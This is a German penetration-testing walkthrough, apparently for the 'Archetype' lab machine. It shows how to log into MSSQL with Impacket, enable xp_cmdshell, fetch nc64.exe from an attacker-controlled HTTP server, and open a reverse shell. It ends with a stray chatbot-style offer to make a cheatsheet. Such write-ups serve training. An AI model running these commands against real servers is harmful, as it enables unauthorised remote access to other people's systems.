1433 - MSSQL
Einführung
Microsoft SQL Server (MSSQL) ist ein relationales Datenbankmanagementsystem, das in vielen Windows-Umgebungen zum Einsatz kommt. In Penetration Tests kann ein erreichbarer MSSQL-Server einen vielversprechenden Angriffsvektor darstellen, insbesondere wenn Login-Daten bekannt oder erratbar sind.
Ziel dieser Anleitung ist es, zu zeigen, wie man sich mit MSSQL verbindet, Berechtigungen prüft, die Kommandoausführung über xp_cmdshell
ermöglicht und schließlich eine Reverse Shell erhält.
Verbindung zum MSSQL-Server mit mssqlclient.py
Wir nutzen das Tool mssqlclient.py
aus der Impacket-Suite, um eine Verbindung herzustellen.
Befehl:
python3 mssqlclient.py ARCHETYPE/sql_svc@<TARGET_IP> -windows-auth
ARCHETYPE/sql_svc
: Benutzername (Domäne/Benutzer)-windows-auth
: Nutzt Windows Authentication
Warum dieser Schritt wichtig ist: Damit erhalten wir eine interaktive SQL-Shell auf dem Server. Voraussetzung ist ein gültiger Benutzername und Passwort (z. B. aus Konfigurationsdateien).
Rollen und Rechte überprüfen
Nach dem Login prüfen wir, ob wir Systemrechte (sysadmin) haben:
SQL-Befehl:
SELECT is_srvrolemember('sysadmin');
Ausgabe
1
bedeutet, wir sind sysadmin und haben volle Kontrolle.
Warum dieser Schritt wichtig ist:
Nur mit sysadmin-Rechten können wir xp_cmdshell
nutzen und damit Systembefehle ausführen.
Kommandoausführung mit xp_cmdshell vorbereiten
xp_cmdshell
ist standardmäßig deaktiviert. Wir aktivieren sie mit:
SQL-Befehle:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
Warum dieser Schritt wichtig ist:
Erst durch diese Befehle wird xp_cmdshell
aktiviert und erlaubt die Ausführung von Systemkommandos über SQL.
Erste Systemkommandos ausführen
Testen, ob xp_cmdshell
funktioniert:
EXEC xp_cmdshell 'whoami';
Warum dieser Schritt wichtig ist: Verifiziert, ob wir erfolgreich Kommandos ausführen können und mit welchem Benutzer wir arbeiten.
Reverse Shell vorbereiten
Wir starten einen Python HTTP-Server und Netcat Listener:
sudo python3 -m http.server 80
sudo nc -lvnp 443
Ziel: Die Datei nc64.exe
vom eigenen System auf das Ziel laden.
Download-Verzeichnis herausfinden:
EXEC xp_cmdshell "powershell -c pwd"
Falls kein Schreibrecht, in z. B. C:\Users\sql_svc\Downloads
wechseln.
Datei per PowerShell herunterladen:
EXEC xp_cmdshell "powershell -c cd C:\\Users\\sql_svc\\Downloads; wget http://<YOUR_IP>/nc64.exe -outfile nc64.exe"
Warum dieser Schritt wichtig ist: Wir platzieren ein Binary (Netcat), das uns eine Remote Shell liefert.
Reverse Shell starten
EXEC xp_cmdshell "powershell -c C:\\Users\\sql_svc\\Downloads\\nc64.exe -e cmd.exe <YOUR_IP> 443"
Warum dieser Schritt wichtig ist:
Damit erhalten wir eine interaktive Remote-Shell als Benutzer sql_svc
.
Was jetzt?
Sammle erste Informationen:
whoami
,hostname
,ipconfig
,systeminfo
Suche nach Rechten und Schwachstellen zur Privilege Escalation
Lies die
user.txt
auf dem Desktop des SQL-Nutzers
Zusammenfassung
Verbindung mit
mssqlclient.py
(Impacket)Prüfen der Rechte mit
is_srvrolemember
Aktivieren von
xp_cmdshell
Remote-Kommandos ausführen
Reverse Shell holen per Netcat & PowerShell
Optional: Suche nach LPE (z. B. Unquoted Service Paths, AlwaysInstallElevated, Token Impersonation etc.) zur Privilege Escalation.
Wenn du willst, kann ich daraus auch eine kompakte Cheatsheet-Variante erstellen.
Last updated